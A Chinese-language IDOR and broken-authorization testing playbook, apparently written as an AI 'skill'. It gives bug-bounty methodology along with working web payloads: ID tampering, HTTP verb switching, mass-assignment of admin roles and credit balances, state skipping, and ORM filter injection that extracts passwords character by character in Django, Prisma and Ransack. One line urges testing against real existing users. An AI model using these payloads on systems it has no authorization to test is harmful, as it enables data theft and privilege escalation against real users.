IDOR 與物件層級授權失效(Broken Object Level Authorization)測試教戰手冊。當請求暴露了物件識別碼 (ID)、租戶邊界、可寫入欄位,或缺少物件層級的授權檢查時使用。
SKILL: IDOR / 物件層級授權失效 — 專家級攻擊手冊 (Expert Attack Playbook)
AI 載入指示 (AI LOAD INSTRUCTION):IDOR 是漏洞賞金(Bug Bounty)計畫中最常被回報且高回報的漏洞類型。本 Skill 涵蓋非顯而易見的 IDOR 暴露點、全套攻擊向量(不限於 URL 參數)、A-B 測試方法論、BOLA 與 BFLA 的概念區別、如何將 IDOR 串接以提升漏洞影響力,以及測試者經常遺漏的魔鬼細節。
1. IDOR vs BOLA vs BFLA
| 專有名詞 | 涵義 | 影響 |
|---|---|---|
| IDOR | Insecure Direct Object Reference (不安全的直接物件引用) | 讀取 / 修改其他使用者的資料 |
| BOLA | Broken Object Level Authorization (OWASP API Top 10 A1, 物件層級授權失效) | 與 IDOR 相同,為 API 界常用術語 |
| BFLA | Broken Function Level Authorization (功能層級授權失效) | 低權限使用者存取高權限功能(例如:管理員端點) |
核心區別:
- BOLA = 存取您不該擁有的物件(屬於其他使用者的資料)
- BFLA = 存取您未獲授權的功能(管理員 CRUD 操作、批次操作、使用者管理)
2. 物件 ID 出現位置(全方位盤點)
不要只停留在 URL 路徑參數 — ID 可能出現在:
URL 路徑: GET /api/v1/users/1234/profile
URL 查詢參數: GET /orders?order_id=982
請求主體 (Body): {"userId": 1234, "action": "view"}
JSON 欄位: {"resource": {"id": 5678, "type": "invoice"}}
Headers 標頭: X-User-ID: 1234
X-Account-ID: 9999
Cookies: user_id=1234; account=org_5678
GraphQL 引數: query { user(id: "1234") { ... } }
表單欄位: <input name="documentId" value="5678">
WebSocket 訊息: {"event":"subscribe","channel_id":9999}
3. A-B 測試方法論 (A-B TESTING METHODOLOGY)
最系統化的 IDOR 測試流程:
步驟 1: 建立兩個測試帳號:UserA 與 UserB
步驟 2: 以 UserA 身分執行所有操作,並攔截擷取所有請求
(修改個人資料、查看訂單、變更密碼、檔案存取等)
步驟 3: 紀錄 UserA 所建立或存取的所有物件 ID
步驟 4: 登入驗證為 UserB
步驟 5: 帶上 UserB 的 Session Token 重放 UserA 的請求
步驟 6: 若 UserB 能夠讀取/修改 UserA 的資料 → 確認存在 BOLA 漏洞
受害者真實性:回報真實漏洞時,請針對已存在的真實使用者進行測試,而非僅測試帳號之間。
佐證資料 (Report evidence):需明確證明該資源確屬 UserA 所有,且成功由 UserB 存取。
4. ID 型態及其安全影響 (ID TYPE AND ITS IMPLICATIONS)
| ID 模式 | 範例 | 說明 |
|---|---|---|
| 連續型整數 (Sequential int) | id=1001 → id=1002 |
極易預測,爆破命中率極高 |
| UUID v4 | 550e8400-... |
需從其他端點收集 UUID |
| UUID v1 | 時間戳記型 UUID | 可根據時間推算預測!可擷取時間戳與 MAC 位址 |
| 自身資料中的 GUID | 於 Response 中可見 | 先從自己帳號的資料中收集所有出現過的 UUID |
| 哈希型 ID (Hashed IDs) | md5(user_id) |
嘗試對連續整數進行 Hash |
| 編碼型 ID (Encoded IDs) | base64({"id":1001}) |
解碼 → 修改 → 重新編碼 |
| 複合型 ID (Compound IDs) | /api/users/1/orders/5 |
兩個 ID 可能皆需獨立驗證授權 |
5. 水平權限超越 vs 垂直權限提升 (HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION)
水平 (Horizontal):UserA 存取 UserB 的資料(同等權限等級)
GET /api/account/1234/statement ← 您當前為使用者 5678
垂直 (Vertical):低權限使用者存取僅限管理員的功能
POST /api/admin/users/delete ← 一般使用者呼叫管理員端點
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}
組合式 (Combined):可直接導致權限提升的低權限 IDOR
GET /api/v1/users/1/details → 讀取管理員使用者的 Auth Token
6. HTTP 動詞切換測試 (HTTP METHOD ESCALATION)
當 GET /resource/1234 受到正確的存取控制保護時,請測試所有其他 HTTP 動詞:
GET /api/v1/users/UserA_ID ← 可能已被阻擋
POST /api/v1/users/UserA_ID ← 不同的程式碼路徑,可能未檢查授權
PUT /api/v1/users/UserA_ID ← 更新其他使用者的資料
DELETE /api/v1/users/UserA_ID ← 刪除其他使用者的帳號
PATCH /api/v1/users/UserA_ID ← 部分更新(在授權檢查中極常被忽略)
生效原因:授權邏輯往往是依據各個 HTTP Method 分別實作的,開發人員極易遺漏邊界狀況 (edge cases)。
7. 參數污染與型態混淆 (PARAMETER POLLUTION & TYPE CONFUSION)
當 id=1234 已通過驗證時,可嘗試以下繞過方式:
id[]=1234&id[]=5678 ← 陣列傳參 — 應用程式可能取第一個或最後一個
id=5678&id=1234 ← 重複參數 — 應用程式可能優先使用第一個或最後一個
{"id": "1234"} ← 字串 vs 整數:可能觸發不同的程式碼執行路徑
{"id": [1234]} ← JSON 中的陣列型態
{"userId": 1234, "id": 5678} ← 雙 ID 欄位 — 系統究竟用哪一個做授權檢查?
JSON 型態混淆 (Type Confusion):
{"userId": "1234"} vs {"userId": 1234}
部分 ORM 在處理查詢時,對字串與整數的處理方式不同。
8. BFLA (功能層級) 攻擊手法
常見待測的 BFLA 端點 (Common BFLA Endpoints to Test)
# 使用者管理(設計上僅限管理員):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
# 批次操作:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
# 計費 / 支付管理員端點:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
# 內部報表:
GET /api/v1/reports/all-users-activity
如何挖掘隱藏的管理員端點
- 閱讀 JS 打包檔案 (Bundles) — 管理員路由常暴露在前端程式碼中
- 檢視 API 文件 (Swagger/OpenAPI) 尋找 "admin"、"internal"、"privileged" 等標籤
- 列舉
/api/v1/admin/**、/api/v1/manage/**、/api/v1/internal/** - 針對 API 基礎路徑使用 Burp 的 "Discover Content"
- 若有提供,比對一般使用者文件與管理員區塊文件
9. 間接 IDOR / 引用鏈 (INDIRECT IDOR / REFERENCE CHAIN)
應用程式檢查了物件 A 的權限,卻未檢查其引用的物件 B 之所有權:
範例:
UserA 擁有讀取自身訊息的權限。
GET /api/messages/1234 → 檢查:「該訊息 1234 是否屬於此使用者?」✓
但是:訊息附帶有附件檔案。
GET /api/attachments/5678 → 未檢查:「該附件是否屬於該使用者擁有的訊息?」
測試方法:直接透過其 ID 存取附件或子資源,而不經過上層父端點。
GraphQL 變體:直接內聯查詢關聯物件,無需額外授權檢查:
query {
myProfile {
followers {
privateEmail ← 透過關聯性存取其他使用者的隱私欄位
}
}
}
10. 大量賦值導致權限提升 (MASS ASSIGNMENT → PRIVILEGE ESCALATION)
當 POST/PUT 接收 JSON 請求內文時,底層 Model 的屬性可能即使未列在官方 API 文件中,依然可被設定:
POST /api/v1/register
{
"username": "attacker",
"email": "a@evil.com",
"password": "password",
"role": "admin", ← 隱藏欄位
"isAdmin": true, ← 隱藏欄位
"verified": true, ← 略過 Email 驗證
"creditBalance": 9999 ← 為自己充值儲值點數
}
如何尋找隱藏欄位:
- 攔截管理員「建立使用者」與一般「註冊」的請求 — 比對兩者欄位差異
- 閱讀 API 文件以獲取所有可能的欄位名稱
- 檢視原始碼(若可在 GitHub 或 JS 包中取得)
- 使用 Burp 進行 Fuzz 測試:加入常見屬性名稱,觀察回應為
200還是400
11. 狀態機濫用 / 商業邏輯 IDOR (STATE MACHINE ABUSE)
當資源具備狀態 (Status/State) 時:
order.status: pending → confirmed → shipped → delivered
測試:您是否能跳過中間狀態?
PUT /api/orders/1234 {"status": "delivered"} ← 從 "pending" 直接修改
PUT /api/orders/1234 {"status": "refunded"} ← 從 "pending" 變更(跳過出貨 shipped)
是否能修改其他使用者的訂單狀態?
PUT /api/orders/UserA_order_id {"status": "cancelled"} ← 以 UserB 身分執行
12. 快速 IDOR 檢查清單 (QUICK IDOR CHECKLIST)
□ 建立 2 個測試帳號 (UserA + UserB)
□ 梳理所有包含物件 ID 的 API 呼叫 (可透過 Burp History 匯出過濾)
□ 針對每個端點測試所有 HTTP 動詞 (GET, POST, PUT, DELETE, PATCH)
□ 測試出現在所有位置的 ID:路徑、內文、Headers、查詢參數、Cookie
□ 嘗試連續性 ID(相對於您自己的 ID -1, +1)
□ 嘗試從您自己帳號資料中收集到的 UUID/GUID
□ 測試子資源(附件、留言、交易明細)
□ 直接測試管理員端點 (BFLA)
□ 測試 POST/PUT Body 是否存在額外欄位(大量賦值 Mass Assignment)
□ 比對 JSON 回應欄位數量與官方文件欄位(尋找隱藏欄位)
□ 測試狀態 (State/Status) 欄位的任意修改
13. 系統化 IDOR 測試 — 8 大類別 (SYSTEMATIC IDOR TESTING — 8 CATEGORIES)
| # | 類別 | 測試方法 |
|---|---|---|
| 1 | 直接 ID 引用 (Direct ID reference) | 修改 URL 中的數字/UUID ID:/api/users/123 → /api/users/124 |
| 2 | 可預測的 UUID (Predictable UUID) | 若 UUID 為 v1 (基於時間),可推算出相鄰 ID |
| 3 | 批次/批量操作 (Batch/bulk operations) | /api/users/bulk?ids=123,456 — 傳入其他使用者的 ID |
| 4 | 匯出/下載 (Export/download) | 匯出端點洩漏其他使用者資料:/export?user_id=* |
| 5 | 關聯物件 IDOR (Linked object IDOR) | 將 order.address_id 修改為其他使用者的地址 ID |
| 6 | 資源替換 (Resource replacement) | 將自己的 Profile 更新為其他使用者的資源 ID → 造成覆寫 |
| 7 | 寫入型 IDOR (Write IDOR) | 使用其他使用者的 ID 執行 PUT/PATCH/DELETE — 修改/刪除其資料 |
| 8 | 巢狀物件 (Nested object) | /api/orgs/1/users/2 — 修改組織 ID 以存取其他組織的使用者 |
測試流程 (Testing Flow)
1. 建立兩個測試帳號 (A 與 B)
2. 以 A 的身分執行所有 CRUD 操作,擷取所有請求中的 ID
3. 重放每個請求,將 A 的 ID 替換為 B 的 ID
4. 檢查:A 是否能讀取 B 的資料?修改?刪除?
5. 搭配不同型態測試:數值 ID、UUID、Slugs、編碼值
6. 全方位位置測試:URL 路徑、Query 參數、JSON Body、Headers
14. ORM 過濾器鏈洩漏 (ORM FILTER CHAIN LEAKS)
Django ORM 過濾器注入 (Django ORM Filter Injection)
# 存在漏洞的寫法: User.objects.filter(**request.data)
# 攻擊者傳送: {"password__startswith": "a"}
# Django 轉譯為: WHERE password LIKE 'a%'
# 逐字萃取 (Character-by-character extraction):
POST /api/users/
{"username": "admin", "password__startswith": "a"} → 200 (匹配成功)
{"username": "admin", "password__startswith": "b"} → 404 (無匹配)
# 針對每個字元位置遍歷字元集
# 關聯遍歷 (Relational traversal):
{"author__user__password__startswith": "a"}
# 遍歷路徑: Author → User → password 欄位
# 在 MySQL 上: 透過 Regex 觸發 ReDoS
{"email__regex": "^(a+)+$"} → 若匹配存在則導致 CPU 暴增
Prisma 過濾器注入 (Prisma Filter Injection)
// 存在漏洞的寫法: prisma.user.findMany({ where: req.body })
// 攻擊者傳送巢狀 include/select:
{
"include": {
"posts": {
"include": {
"author": {
"select": {"password": true}
}
}
}
}
}
// 透過關聯遍歷洩漏密碼 (password) 欄位
Ransack (Ruby on Rails)
# Ransack 允許透過 Query 參數進行搜尋謂詞查詢:
GET /users?q[password_cont]=admin
# 搜尋條件: WHERE password LIKE '%admin%'
# 字元萃取:
GET /users?q[password_start]=a → 統計結果數量
GET /users?q[password_start]=ab → 縮小範圍
# 工具:plormber (自動化 Ransack 萃取工具)






